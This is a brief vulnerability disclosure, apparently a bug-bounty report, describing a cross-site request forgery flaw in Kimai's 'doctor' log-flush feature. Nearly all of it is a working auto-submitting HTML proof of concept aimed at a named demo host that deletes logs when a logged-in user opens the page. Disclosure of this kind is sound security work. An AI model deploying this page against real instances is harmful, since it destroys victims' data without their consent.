cross site request forgery vulnerability is present in delete functionality of doctor feature.
<html>
<body>
<script>history.pushState(‘’, ‘’, ‘/’)</script>
<form action="https://demo-stable.kimai.org/de_CH/doctor/flush-log">
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
This vulnerability is capable of delete the existing logs